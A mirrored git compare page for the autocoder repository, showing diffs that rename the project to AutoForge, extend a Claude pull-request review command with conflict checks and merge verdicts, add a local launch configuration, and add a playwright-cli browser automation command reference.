mirror of
https://github.com/leonvanzyl/autocoder.git
synced 2026-03-18 19:33:09 +00:00
Compare commits
88 Commits
f6510b4dd8
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7f875c3bbd | ||
|
|
e26ca3761b | ||
|
|
5d3c04a3c7 | ||
|
|
df23a978cb | ||
|
|
41c1a14ae3 | ||
|
|
472064c3da | ||
|
|
afc2f4ac3c | ||
|
|
dceb535ade | ||
|
|
4f102e7bc2 | ||
|
|
9af0f309b7 | ||
|
|
49442f0d43 | ||
|
|
f786879908 | ||
|
|
dcdd06e02e | ||
|
|
b7aef15c3b | ||
|
|
d65fa0ca56 | ||
|
|
d712e58ff5 | ||
|
|
69d9313c07 | ||
|
|
a434767b41 | ||
|
|
090dcf977b | ||
|
|
ca5fc48443 | ||
|
|
d846a021b8 | ||
|
|
819ebcd112 | ||
|
|
f4636fdfd5 | ||
|
|
c114248b09 | ||
|
|
76dd4b8d80 | ||
|
|
4e84de3839 | ||
|
|
8a934c3374 | ||
|
|
81e8c37f29 | ||
|
|
6ffbf09b91 | ||
|
|
d1b0b73b20 | ||
|
|
9fb7926df1 | ||
|
|
e9873a2642 | ||
|
|
f285db1ad3 | ||
|
|
d2b3ba9aee | ||
|
|
55064945a4 | ||
|
|
859987e3b4 | ||
|
|
f87970daca | ||
|
|
656df0fd9a | ||
|
|
9721368188 | ||
|
|
9eb08d3f71 | ||
|
|
8d76deb75f | ||
|
|
3a31761542 | ||
|
|
96feb38aea | ||
|
|
1925818d49 | ||
|
|
38fc8788a2 | ||
|
|
b439e2d241 | ||
|
|
b0490be501 | ||
|
|
13a3ff9ac1 | ||
|
|
71f17c73c2 | ||
|
|
46ac373748 | ||
|
|
0d04a062a2 | ||
|
|
7d08700f3a | ||
|
|
5ecf74cb31 | ||
|
|
9259a799e3 | ||
|
|
f24c7cbf62 | ||
|
|
f664378775 | ||
|
|
a52f191a54 | ||
|
|
c0aaac241c | ||
|
|
547f1e7d9b | ||
|
|
73d6cfcd36 | ||
|
|
d15fd37e33 | ||
|
|
97a3250a37 | ||
|
|
a752ece70c | ||
|
|
3c61496021 | ||
|
|
6d4a198380 | ||
|
|
13785325d7 | ||
|
|
70131f2271 | ||
|
|
035e8fdfca | ||
|
|
f4facb3200 | ||
|
|
2f8a6a6274 | ||
|
|
76246bad69 | ||
|
|
b736fb7382 | ||
|
|
032752e564 | ||
|
|
c55a1a0182 | ||
|
|
75766a433a | ||
|
|
ee993ed8ed | ||
|
|
a3b0abdc31 | ||
|
|
326f38b3c4 | ||
|
|
6d15d020ec | ||
|
|
196038fa26 | ||
|
|
4549840330 | ||
|
|
451a5a9d05 | ||
|
|
c2ad993e75 | ||
|
|
81d2f0cbe0 | ||
|
|
c7c88449ad | ||
|
|
9622da9561 | ||
|
|
83d2182107 | ||
|
|
7651436c27 |
@@ -97,7 +97,7 @@ Fix ALL issues before considering the implementation complete. Never leave linti
|
|||||||
|
|
||||||
## Project-Specific Context
|
## Project-Specific Context
|
||||||
|
|
||||||
For this project (autocoder):
|
For this project (autoforge):
|
||||||
- **Python Backend**: Uses SQLAlchemy, FastAPI, follows patterns in `api/`, `mcp_server/`
|
- **Python Backend**: Uses SQLAlchemy, FastAPI, follows patterns in `api/`, `mcp_server/`
|
||||||
- **React UI**: Uses React 18, TypeScript, TanStack Query, Tailwind CSS v4, Radix UI
|
- **React UI**: Uses React 18, TypeScript, TanStack Query, Tailwind CSS v4, Radix UI
|
||||||
- **Design System**: Neobrutalism style with specific color tokens and animations
|
- **Design System**: Neobrutalism style with specific color tokens and animations
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ This command **requires** the project directory as an argument via `$ARGUMENTS`.
|
|||||||
|
|
||||||
**Example:** `/create-spec generations/my-app`
|
**Example:** `/create-spec generations/my-app`
|
||||||
|
|
||||||
**Output location:** `$ARGUMENTS/.autocoder/prompts/app_spec.txt` and `$ARGUMENTS/.autocoder/prompts/initializer_prompt.md`
|
**Output location:** `$ARGUMENTS/.autoforge/prompts/app_spec.txt` and `$ARGUMENTS/.autoforge/prompts/initializer_prompt.md`
|
||||||
|
|
||||||
If `$ARGUMENTS` is empty, inform the user they must provide a project path and exit.
|
If `$ARGUMENTS` is empty, inform the user they must provide a project path and exit.
|
||||||
|
|
||||||
@@ -347,13 +347,13 @@ First ask in conversation if they want to make changes.
|
|||||||
|
|
||||||
## Output Directory
|
## Output Directory
|
||||||
|
|
||||||
The output directory is: `$ARGUMENTS/.autocoder/prompts/`
|
The output directory is: `$ARGUMENTS/.autoforge/prompts/`
|
||||||
|
|
||||||
Once the user approves, generate these files:
|
Once the user approves, generate these files:
|
||||||
|
|
||||||
## 1. Generate `app_spec.txt`
|
## 1. Generate `app_spec.txt`
|
||||||
|
|
||||||
**Output path:** `$ARGUMENTS/.autocoder/prompts/app_spec.txt`
|
**Output path:** `$ARGUMENTS/.autoforge/prompts/app_spec.txt`
|
||||||
|
|
||||||
Create a new file using this XML structure:
|
Create a new file using this XML structure:
|
||||||
|
|
||||||
@@ -489,7 +489,7 @@ Create a new file using this XML structure:
|
|||||||
|
|
||||||
## 2. Update `initializer_prompt.md`
|
## 2. Update `initializer_prompt.md`
|
||||||
|
|
||||||
**Output path:** `$ARGUMENTS/.autocoder/prompts/initializer_prompt.md`
|
**Output path:** `$ARGUMENTS/.autoforge/prompts/initializer_prompt.md`
|
||||||
|
|
||||||
If the output directory has an existing `initializer_prompt.md`, read it and update the feature count.
|
If the output directory has an existing `initializer_prompt.md`, read it and update the feature count.
|
||||||
If not, copy from `.claude/templates/initializer_prompt.template.md` first, then update.
|
If not, copy from `.claude/templates/initializer_prompt.template.md` first, then update.
|
||||||
@@ -512,7 +512,7 @@ After: **CRITICAL:** You must create exactly **25** features using the `feature
|
|||||||
|
|
||||||
## 3. Write Status File (REQUIRED - Do This Last)
|
## 3. Write Status File (REQUIRED - Do This Last)
|
||||||
|
|
||||||
**Output path:** `$ARGUMENTS/.autocoder/prompts/.spec_status.json`
|
**Output path:** `$ARGUMENTS/.autoforge/prompts/.spec_status.json`
|
||||||
|
|
||||||
**CRITICAL:** After you have completed ALL requested file changes, write this status file to signal completion to the UI. This is required for the "Continue to Project" button to appear.
|
**CRITICAL:** After you have completed ALL requested file changes, write this status file to signal completion to the UI. This is required for the "Continue to Project" button to appear.
|
||||||
|
|
||||||
@@ -524,8 +524,8 @@ Write this JSON file:
|
|||||||
"version": 1,
|
"version": 1,
|
||||||
"timestamp": "[current ISO 8601 timestamp, e.g., 2025-01-15T14:30:00.000Z]",
|
"timestamp": "[current ISO 8601 timestamp, e.g., 2025-01-15T14:30:00.000Z]",
|
||||||
"files_written": [
|
"files_written": [
|
||||||
".autocoder/prompts/app_spec.txt",
|
".autoforge/prompts/app_spec.txt",
|
||||||
".autocoder/prompts/initializer_prompt.md"
|
".autoforge/prompts/initializer_prompt.md"
|
||||||
],
|
],
|
||||||
"feature_count": [the feature count from Phase 4L]
|
"feature_count": [the feature count from Phase 4L]
|
||||||
}
|
}
|
||||||
@@ -539,9 +539,9 @@ Write this JSON file:
|
|||||||
"version": 1,
|
"version": 1,
|
||||||
"timestamp": "2025-01-15T14:30:00.000Z",
|
"timestamp": "2025-01-15T14:30:00.000Z",
|
||||||
"files_written": [
|
"files_written": [
|
||||||
".autocoder/prompts/app_spec.txt",
|
".autoforge/prompts/app_spec.txt",
|
||||||
".autocoder/prompts/initializer_prompt.md",
|
".autoforge/prompts/initializer_prompt.md",
|
||||||
".autocoder/prompts/coding_prompt.md"
|
".autoforge/prompts/coding_prompt.md"
|
||||||
],
|
],
|
||||||
"feature_count": 35
|
"feature_count": 35
|
||||||
}
|
}
|
||||||
@@ -559,11 +559,11 @@ Write this JSON file:
|
|||||||
|
|
||||||
Once files are generated, tell the user what to do next:
|
Once files are generated, tell the user what to do next:
|
||||||
|
|
||||||
> "Your specification files have been created in `$ARGUMENTS/.autocoder/prompts/`!
|
> "Your specification files have been created in `$ARGUMENTS/.autoforge/prompts/`!
|
||||||
>
|
>
|
||||||
> **Files created:**
|
> **Files created:**
|
||||||
> - `$ARGUMENTS/.autocoder/prompts/app_spec.txt`
|
> - `$ARGUMENTS/.autoforge/prompts/app_spec.txt`
|
||||||
> - `$ARGUMENTS/.autocoder/prompts/initializer_prompt.md`
|
> - `$ARGUMENTS/.autoforge/prompts/initializer_prompt.md`
|
||||||
>
|
>
|
||||||
> The **Continue to Project** button should now appear. Click it to start the autonomous coding agent!
|
> The **Continue to Project** button should now appear. Click it to start the autonomous coding agent!
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ You are the **Project Expansion Assistant** - an expert at understanding existin
|
|||||||
# FIRST: Read and Understand Existing Project
|
# FIRST: Read and Understand Existing Project
|
||||||
|
|
||||||
**Step 1:** Read the existing specification:
|
**Step 1:** Read the existing specification:
|
||||||
- Read `$ARGUMENTS/.autocoder/prompts/app_spec.txt`
|
- Read `$ARGUMENTS/.autoforge/prompts/app_spec.txt`
|
||||||
|
|
||||||
**Step 2:** Present a summary to the user:
|
**Step 2:** Present a summary to the user:
|
||||||
|
|
||||||
@@ -231,4 +231,4 @@ If they want to add more, go back to Phase 1.
|
|||||||
|
|
||||||
# BEGIN
|
# BEGIN
|
||||||
|
|
||||||
Start by reading the app specification file at `$ARGUMENTS/.autocoder/prompts/app_spec.txt`, then greet the user with a summary of their existing project and ask what they want to add.
|
Start by reading the app specification file at `$ARGUMENTS/.autoforge/prompts/app_spec.txt`, then greet the user with a summary of their existing project and ask what they want to add.
|
||||||
|
|||||||
@@ -1,10 +0,0 @@
|
|||||||
---
|
|
||||||
allowed-tools: Read, Write, Bash, Glob, Grep
|
|
||||||
description: Convert GSD codebase mapping to Autocoder app_spec.txt
|
|
||||||
---
|
|
||||||
|
|
||||||
# GSD to Autocoder Spec
|
|
||||||
|
|
||||||
Convert `.planning/codebase/*.md` (from `/gsd:map-codebase`) to Autocoder's `.autocoder/prompts/app_spec.txt`.
|
|
||||||
|
|
||||||
@.claude/skills/gsd-to-autocoder-spec/SKILL.md
|
|
||||||
10
.claude/commands/gsd-to-autoforge-spec.md
Normal file
10
.claude/commands/gsd-to-autoforge-spec.md
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
allowed-tools: Read, Write, Bash, Glob, Grep
|
||||||
|
description: Convert GSD codebase mapping to AutoForge app_spec.txt
|
||||||
|
---
|
||||||
|
|
||||||
|
# GSD to AutoForge Spec
|
||||||
|
|
||||||
|
Convert `.planning/codebase/*.md` (from `/gsd:map-codebase`) to AutoForge's `.autoforge/prompts/app_spec.txt`.
|
||||||
|
|
||||||
|
@.claude/skills/gsd-to-autoforge-spec/SKILL.md
|
||||||
@@ -12,7 +12,13 @@ Pull request(s): $ARGUMENTS
|
|||||||
1. **Retrieve PR Details**
|
1. **Retrieve PR Details**
|
||||||
- Use the GH CLI tool to retrieve the details (descriptions, diffs, comments, feedback, reviews, etc)
|
- Use the GH CLI tool to retrieve the details (descriptions, diffs, comments, feedback, reviews, etc)
|
||||||
|
|
||||||
2. **Assess PR Complexity**
|
2. **Check for Merge Conflicts**
|
||||||
|
- After retrieving PR details, check whether the PR has merge conflicts against the target branch
|
||||||
|
- Use `gh pr view <number> --json mergeable,mergeStateStatus` or attempt a local merge check with `git merge-tree`
|
||||||
|
- If conflicts exist, note the conflicting files — these must be resolved on the PR branch before merging
|
||||||
|
- Surface conflicts early so they inform the rest of the review (don't discover them as a surprise at merge time)
|
||||||
|
|
||||||
|
3. **Assess PR Complexity**
|
||||||
|
|
||||||
After retrieving PR details, assess complexity based on:
|
After retrieving PR details, assess complexity based on:
|
||||||
- Number of files changed
|
- Number of files changed
|
||||||
@@ -34,13 +40,13 @@ Pull request(s): $ARGUMENTS
|
|||||||
- >15 files, OR >500 lines, OR >2 contributors, OR touches core architecture
|
- >15 files, OR >500 lines, OR >2 contributors, OR touches core architecture
|
||||||
- Spawn up to 3 agents to analyze different aspects (e.g., security, performance, architecture)
|
- Spawn up to 3 agents to analyze different aspects (e.g., security, performance, architecture)
|
||||||
|
|
||||||
3. **Analyze Codebase Impact**
|
4. **Analyze Codebase Impact**
|
||||||
- Based on the complexity tier determined above, spawn the appropriate number of deep dive subagents
|
- Based on the complexity tier determined above, spawn the appropriate number of deep dive subagents
|
||||||
- For Simple PRs: analyze directly without spawning agents
|
- For Simple PRs: analyze directly without spawning agents
|
||||||
- For Medium PRs: spawn 1-2 agents focusing on the most impacted areas
|
- For Medium PRs: spawn 1-2 agents focusing on the most impacted areas
|
||||||
- For Complex PRs: spawn up to 3 agents to cover security, performance, and architectural concerns
|
- For Complex PRs: spawn up to 3 agents to cover security, performance, and architectural concerns
|
||||||
|
|
||||||
4. **PR Scope & Title Alignment Check**
|
5. **PR Scope & Title Alignment Check**
|
||||||
- Compare the PR title and description against the actual diff content
|
- Compare the PR title and description against the actual diff content
|
||||||
- Check whether the PR is focused on a single coherent change or contains multiple unrelated changes
|
- Check whether the PR is focused on a single coherent change or contains multiple unrelated changes
|
||||||
- If the title/description describe one thing but the PR contains significantly more (e.g., title says "fix typo in README" but the diff touches 20 files across multiple domains), flag this as a **scope mismatch**
|
- If the title/description describe one thing but the PR contains significantly more (e.g., title says "fix typo in README" but the diff touches 20 files across multiple domains), flag this as a **scope mismatch**
|
||||||
@@ -48,28 +54,53 @@ Pull request(s): $ARGUMENTS
|
|||||||
- Suggest specific ways to split the PR (e.g., "separate the refactor from the feature addition")
|
- Suggest specific ways to split the PR (e.g., "separate the refactor from the feature addition")
|
||||||
- Reviewing large, unfocused PRs is impractical and error-prone; the review cannot provide adequate assurance for such changes
|
- Reviewing large, unfocused PRs is impractical and error-prone; the review cannot provide adequate assurance for such changes
|
||||||
|
|
||||||
5. **Vision Alignment Check**
|
6. **Vision Alignment Check**
|
||||||
- Read the project's README.md and CLAUDE.md to understand the application's core purpose
|
- **VISION.md protection**: First, check whether the PR diff modifies `VISION.md` in any way (edits, deletions, renames). If it does, **stop the review immediately** — verdict is **DON'T MERGE**. VISION.md is immutable and no PR is permitted to alter it. Explain this to the user and skip all remaining steps.
|
||||||
- Assess whether this PR aligns with the application's intended functionality
|
- Read the project's `VISION.md`, `README.md`, and `CLAUDE.md` to understand the application's core purpose and mandatory architectural constraints
|
||||||
- If the changes deviate significantly from the core vision or add functionality that doesn't serve the application's purpose, note this in the review
|
- Assess whether this PR aligns with the vision defined in `VISION.md`
|
||||||
- This is not a blocker, but should be flagged for the reviewer's consideration
|
- **Vision deviation is a merge blocker.** If the PR introduces functionality, integrations, or architectural changes that conflict with `VISION.md`, the verdict must be **DON'T MERGE**. This is not negotiable — the vision document takes precedence over any PR rationale.
|
||||||
|
|
||||||
6. **Safety Assessment**
|
7. **Safety Assessment**
|
||||||
- Provide a review on whether the PR is safe to merge as-is
|
- Provide a review on whether the PR is safe to merge as-is
|
||||||
- Provide any feedback in terms of risk level
|
- Provide any feedback in terms of risk level
|
||||||
|
|
||||||
7. **Improvements**
|
8. **Improvements**
|
||||||
- Propose any improvements in terms of importance and complexity
|
- Propose any improvements in terms of importance and complexity
|
||||||
|
|
||||||
8. **Merge Recommendation**
|
9. **Merge Recommendation**
|
||||||
- Based on all findings, provide a clear merge/don't-merge recommendation
|
- Based on all findings (including merge conflict status from step 2), provide a clear recommendation
|
||||||
- If all concerns are minor (cosmetic issues, naming suggestions, small style nits, missing comments, etc.), recommend **merging the PR** and note that the reviewer can address these minor concerns themselves with a quick follow-up commit pushed directly to master
|
- **If no concerns and no conflicts**: recommend merging as-is
|
||||||
- If there are significant concerns (bugs, security issues, architectural problems, scope mismatch), recommend **not merging** and explain what needs to be resolved first
|
- **If concerns are minor/fixable and/or merge conflicts exist**: recommend fixing on the PR branch first, then merging. Never merge a PR with known issues to main — always fix on the PR branch first
|
||||||
|
- **If there are significant concerns** (bugs, security issues, architectural problems, scope mismatch) that require author input or are too risky to fix: recommend **not merging** and explain what needs to be resolved
|
||||||
|
|
||||||
9. **TLDR**
|
10. **TLDR**
|
||||||
- End the review with a `## TLDR` section
|
- End the review with a `## TLDR` section
|
||||||
- In 3-5 bullet points maximum, summarize:
|
- In 3-5 bullet points maximum, summarize:
|
||||||
- What this PR is actually about (one sentence)
|
- What this PR is actually about (one sentence)
|
||||||
- The key concerns, if any (or "no significant concerns")
|
- Merge conflict status (clean or conflicting files)
|
||||||
- **Verdict: MERGE** / **MERGE (with minor follow-up)** / **DON'T MERGE** with a one-line reason
|
- The key concerns, if any (or "no significant concerns")
|
||||||
- This section should be scannable in under 10 seconds
|
- **Verdict: MERGE** / **MERGE (after fixes)** / **DON'T MERGE** with a one-line reason
|
||||||
|
- This section should be scannable in under 10 seconds
|
||||||
|
|
||||||
|
Verdict definitions:
|
||||||
|
- **MERGE** — no issues, clean to merge as-is
|
||||||
|
- **MERGE (after fixes)** — minor issues and/or conflicts exist, but can be resolved on the PR branch first, then merged
|
||||||
|
- **DON'T MERGE** — needs author attention, too complex or risky to fix without their input
|
||||||
|
|
||||||
|
11. **Post-Review Action**
|
||||||
|
- Immediately after the TLDR, provide a `## Recommended Action` section
|
||||||
|
- Based on the verdict, recommend one of the following actions:
|
||||||
|
|
||||||
|
**If verdict is MERGE (no concerns):**
|
||||||
|
- Merge as-is. No further action needed.
|
||||||
|
|
||||||
|
**If verdict is MERGE (after fixes):**
|
||||||
|
- List the specific changes that need to be made (fixes, conflict resolutions, etc.)
|
||||||
|
- Offer to: check out the PR branch, resolve any merge conflicts, apply the minor fixes identified during review, push the updated branch, then merge the now-clean PR
|
||||||
|
- Ask the user: *"Should I check out the PR branch, apply these fixes, and then merge?"*
|
||||||
|
- **Never merge first and fix on main later** — always fix on the PR branch before merging
|
||||||
|
|
||||||
|
**If verdict is DON'T MERGE:**
|
||||||
|
- If the issues are contained and you are confident you can fix them: offer the same workflow as "MERGE (after fixes)" — check out the PR branch, apply fixes, push, then merge
|
||||||
|
- If the issues are too complex, risky, or require author input (e.g., design decisions, major refactors, unclear intent): recommend sending the PR back to the author with specific feedback on what needs to change
|
||||||
|
- Be honest about your confidence level — if you're unsure whether you can address the concerns correctly, say so and defer to the author
|
||||||
18
.claude/launch.json
Normal file
18
.claude/launch.json
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
{
|
||||||
|
"version": "0.0.1",
|
||||||
|
"configurations": [
|
||||||
|
{
|
||||||
|
"name": "backend",
|
||||||
|
"runtimeExecutable": "python",
|
||||||
|
"runtimeArgs": ["-m", "uvicorn", "server.main:app", "--host", "127.0.0.1", "--port", "8888", "--reload"],
|
||||||
|
"port": 8888
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "frontend",
|
||||||
|
"runtimeExecutable": "cmd",
|
||||||
|
"runtimeArgs": ["/c", "cd ui && npx vite"],
|
||||||
|
"port": 5173
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"autoVerify": true
|
||||||
|
}
|
||||||
@@ -1,21 +1,21 @@
|
|||||||
---
|
---
|
||||||
name: gsd-to-autocoder-spec
|
name: gsd-to-autoforge-spec
|
||||||
description: |
|
description: |
|
||||||
Convert GSD codebase mapping to Autocoder app_spec.txt. This skill should be used when
|
Convert GSD codebase mapping to AutoForge app_spec.txt. This skill should be used when
|
||||||
the user has run /gsd:map-codebase and wants to use Autocoder on an existing project.
|
the user has run /gsd:map-codebase and wants to use AutoForge on an existing project.
|
||||||
Triggers: "convert to autocoder", "gsd to spec", "create app_spec from codebase",
|
Triggers: "convert to autoforge", "gsd to spec", "create app_spec from codebase",
|
||||||
"use autocoder on existing project", after /gsd:map-codebase completion.
|
"use autoforge on existing project", after /gsd:map-codebase completion.
|
||||||
---
|
---
|
||||||
|
|
||||||
# GSD to Autocoder Spec Converter
|
# GSD to AutoForge Spec Converter
|
||||||
|
|
||||||
Converts `.planning/codebase/*.md` (GSD mapping output) to `.autocoder/prompts/app_spec.txt` (Autocoder format).
|
Converts `.planning/codebase/*.md` (GSD mapping output) to `.autoforge/prompts/app_spec.txt` (AutoForge format).
|
||||||
|
|
||||||
## When to Use
|
## When to Use
|
||||||
|
|
||||||
- After running `/gsd:map-codebase` on an existing project
|
- After running `/gsd:map-codebase` on an existing project
|
||||||
- When onboarding an existing codebase to Autocoder
|
- When onboarding an existing codebase to AutoForge
|
||||||
- User wants Autocoder to continue development on existing code
|
- User wants AutoForge to continue development on existing code
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
@@ -84,12 +84,12 @@ Extract:
|
|||||||
|
|
||||||
Create `prompts/` directory:
|
Create `prompts/` directory:
|
||||||
```bash
|
```bash
|
||||||
mkdir -p .autocoder/prompts
|
mkdir -p .autoforge/prompts
|
||||||
```
|
```
|
||||||
|
|
||||||
**Mapping GSD Documents to Autocoder Spec:**
|
**Mapping GSD Documents to AutoForge Spec:**
|
||||||
|
|
||||||
| GSD Source | Autocoder Target |
|
| GSD Source | AutoForge Target |
|
||||||
|------------|------------------|
|
|------------|------------------|
|
||||||
| STACK.md Languages | `<technology_stack>` |
|
| STACK.md Languages | `<technology_stack>` |
|
||||||
| STACK.md Frameworks | `<frontend>`, `<backend>` |
|
| STACK.md Frameworks | `<frontend>`, `<backend>` |
|
||||||
@@ -114,7 +114,7 @@ mkdir -p .autocoder/prompts
|
|||||||
**Write the spec file** using the XML format from [references/app-spec-format.md](references/app-spec-format.md):
|
**Write the spec file** using the XML format from [references/app-spec-format.md](references/app-spec-format.md):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat > .autocoder/prompts/app_spec.txt << 'EOF'
|
cat > .autoforge/prompts/app_spec.txt << 'EOF'
|
||||||
<project_specification>
|
<project_specification>
|
||||||
<project_name>{from package.json or directory}</project_name>
|
<project_name>{from package.json or directory}</project_name>
|
||||||
|
|
||||||
@@ -173,9 +173,9 @@ EOF
|
|||||||
### Step 5: Verify Generated Spec
|
### Step 5: Verify Generated Spec
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
head -100 .autocoder/prompts/app_spec.txt
|
head -100 .autoforge/prompts/app_spec.txt
|
||||||
echo "---"
|
echo "---"
|
||||||
grep -c "User can\|System\|API\|Feature" .autocoder/prompts/app_spec.txt || echo "0"
|
grep -c "User can\|System\|API\|Feature" .autoforge/prompts/app_spec.txt || echo "0"
|
||||||
```
|
```
|
||||||
|
|
||||||
**Validation checklist:**
|
**Validation checklist:**
|
||||||
@@ -194,15 +194,15 @@ Output:
|
|||||||
app_spec.txt generated from GSD codebase mapping.
|
app_spec.txt generated from GSD codebase mapping.
|
||||||
|
|
||||||
Source: .planning/codebase/*.md
|
Source: .planning/codebase/*.md
|
||||||
Output: .autocoder/prompts/app_spec.txt
|
Output: .autoforge/prompts/app_spec.txt
|
||||||
|
|
||||||
Next: Start Autocoder
|
Next: Start AutoForge
|
||||||
|
|
||||||
cd {project_dir}
|
cd {project_dir}
|
||||||
python ~/projects/autocoder/start.py
|
python ~/projects/autoforge/start.py
|
||||||
|
|
||||||
Or via UI:
|
Or via UI:
|
||||||
~/projects/autocoder/start_ui.sh
|
~/projects/autoforge/start_ui.sh
|
||||||
|
|
||||||
The Initializer will create features.db from this spec.
|
The Initializer will create features.db from this spec.
|
||||||
```
|
```
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# Autocoder app_spec.txt XML Format
|
# AutoForge app_spec.txt XML Format
|
||||||
|
|
||||||
Complete reference for the XML structure expected by Autocoder's Initializer agent.
|
Complete reference for the XML structure expected by AutoForge's Initializer agent.
|
||||||
|
|
||||||
## Root Structure
|
## Root Structure
|
||||||
|
|
||||||
@@ -275,7 +275,7 @@ The Initializer agent expects features distributed across categories:
|
|||||||
| Medium web app | 200-250 | 10-15 |
|
| Medium web app | 200-250 | 10-15 |
|
||||||
| Complex full-stack | 300-400 | 15-20 |
|
| Complex full-stack | 300-400 | 15-20 |
|
||||||
|
|
||||||
## GSD to Autocoder Mapping
|
## GSD to AutoForge Mapping
|
||||||
|
|
||||||
When converting from GSD codebase mapping:
|
When converting from GSD codebase mapping:
|
||||||
|
|
||||||
259
.claude/skills/playwright-cli/SKILL.md
Normal file
259
.claude/skills/playwright-cli/SKILL.md
Normal file
@@ -0,0 +1,259 @@
|
|||||||
|
---
|
||||||
|
name: playwright-cli
|
||||||
|
description: Automates browser interactions for web testing, form filling, screenshots, and data extraction. Use when the user needs to navigate websites, interact with web pages, fill forms, take screenshots, test web applications, or extract information from web pages.
|
||||||
|
allowed-tools: Bash(playwright-cli:*)
|
||||||
|
---
|
||||||
|
|
||||||
|
# Browser Automation with playwright-cli
|
||||||
|
|
||||||
|
## Quick start
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# open new browser
|
||||||
|
playwright-cli open
|
||||||
|
# navigate to a page
|
||||||
|
playwright-cli goto https://playwright.dev
|
||||||
|
# interact with the page using refs from the snapshot
|
||||||
|
playwright-cli click e15
|
||||||
|
playwright-cli type "page.click"
|
||||||
|
playwright-cli press Enter
|
||||||
|
# take a screenshot
|
||||||
|
playwright-cli screenshot
|
||||||
|
# close the browser
|
||||||
|
playwright-cli close
|
||||||
|
```
|
||||||
|
|
||||||
|
## Commands
|
||||||
|
|
||||||
|
### Core
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli open
|
||||||
|
# open and navigate right away
|
||||||
|
playwright-cli open https://example.com/
|
||||||
|
playwright-cli goto https://playwright.dev
|
||||||
|
playwright-cli type "search query"
|
||||||
|
playwright-cli click e3
|
||||||
|
playwright-cli dblclick e7
|
||||||
|
playwright-cli fill e5 "user@example.com"
|
||||||
|
playwright-cli drag e2 e8
|
||||||
|
playwright-cli hover e4
|
||||||
|
playwright-cli select e9 "option-value"
|
||||||
|
playwright-cli upload ./document.pdf
|
||||||
|
playwright-cli check e12
|
||||||
|
playwright-cli uncheck e12
|
||||||
|
playwright-cli snapshot
|
||||||
|
playwright-cli snapshot --filename=after-click.yaml
|
||||||
|
playwright-cli eval "document.title"
|
||||||
|
playwright-cli eval "el => el.textContent" e5
|
||||||
|
playwright-cli dialog-accept
|
||||||
|
playwright-cli dialog-accept "confirmation text"
|
||||||
|
playwright-cli dialog-dismiss
|
||||||
|
playwright-cli resize 1920 1080
|
||||||
|
playwright-cli close
|
||||||
|
```
|
||||||
|
|
||||||
|
### Navigation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli go-back
|
||||||
|
playwright-cli go-forward
|
||||||
|
playwright-cli reload
|
||||||
|
```
|
||||||
|
|
||||||
|
### Keyboard
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli press Enter
|
||||||
|
playwright-cli press ArrowDown
|
||||||
|
playwright-cli keydown Shift
|
||||||
|
playwright-cli keyup Shift
|
||||||
|
```
|
||||||
|
|
||||||
|
### Mouse
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli mousemove 150 300
|
||||||
|
playwright-cli mousedown
|
||||||
|
playwright-cli mousedown right
|
||||||
|
playwright-cli mouseup
|
||||||
|
playwright-cli mouseup right
|
||||||
|
playwright-cli mousewheel 0 100
|
||||||
|
```
|
||||||
|
|
||||||
|
### Save as
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli screenshot
|
||||||
|
playwright-cli screenshot e5
|
||||||
|
playwright-cli screenshot --filename=page.png
|
||||||
|
playwright-cli pdf --filename=page.pdf
|
||||||
|
```
|
||||||
|
|
||||||
|
### Tabs
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli tab-list
|
||||||
|
playwright-cli tab-new
|
||||||
|
playwright-cli tab-new https://example.com/page
|
||||||
|
playwright-cli tab-close
|
||||||
|
playwright-cli tab-close 2
|
||||||
|
playwright-cli tab-select 0
|
||||||
|
```
|
||||||
|
|
||||||
|
### Storage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli state-save
|
||||||
|
playwright-cli state-save auth.json
|
||||||
|
playwright-cli state-load auth.json
|
||||||
|
|
||||||
|
# Cookies
|
||||||
|
playwright-cli cookie-list
|
||||||
|
playwright-cli cookie-list --domain=example.com
|
||||||
|
playwright-cli cookie-get session_id
|
||||||
|
playwright-cli cookie-set session_id abc123
|
||||||
|
playwright-cli cookie-set session_id abc123 --domain=example.com --httpOnly --secure
|
||||||
|
playwright-cli cookie-delete session_id
|
||||||
|
playwright-cli cookie-clear
|
||||||
|
|
||||||
|
# LocalStorage
|
||||||
|
playwright-cli localstorage-list
|
||||||
|
playwright-cli localstorage-get theme
|
||||||
|
playwright-cli localstorage-set theme dark
|
||||||
|
playwright-cli localstorage-delete theme
|
||||||
|
playwright-cli localstorage-clear
|
||||||
|
|
||||||
|
# SessionStorage
|
||||||
|
playwright-cli sessionstorage-list
|
||||||
|
playwright-cli sessionstorage-get step
|
||||||
|
playwright-cli sessionstorage-set step 3
|
||||||
|
playwright-cli sessionstorage-delete step
|
||||||
|
playwright-cli sessionstorage-clear
|
||||||
|
```
|
||||||
|
|
||||||
|
### Network
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli route "**/*.jpg" --status=404
|
||||||
|
playwright-cli route "https://api.example.com/**" --body='{"mock": true}'
|
||||||
|
playwright-cli route-list
|
||||||
|
playwright-cli unroute "**/*.jpg"
|
||||||
|
playwright-cli unroute
|
||||||
|
```
|
||||||
|
|
||||||
|
### DevTools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
playwright-cli console
|
||||||
|
playwright-cli console warning
|
||||||
|
playwright-cli network
|
||||||
|
playwright-cli run-code "async page => await page.context().grantPermissions(['geolocation'])"
|
||||||
|
playwright-cli tracing-start
|
||||||
|
playwright-cli tracing-stop
|
||||||
|
playwright-cli video-start
|
||||||
|
playwright-cli video-stop video.webm
|
||||||
|
```
|
||||||
|
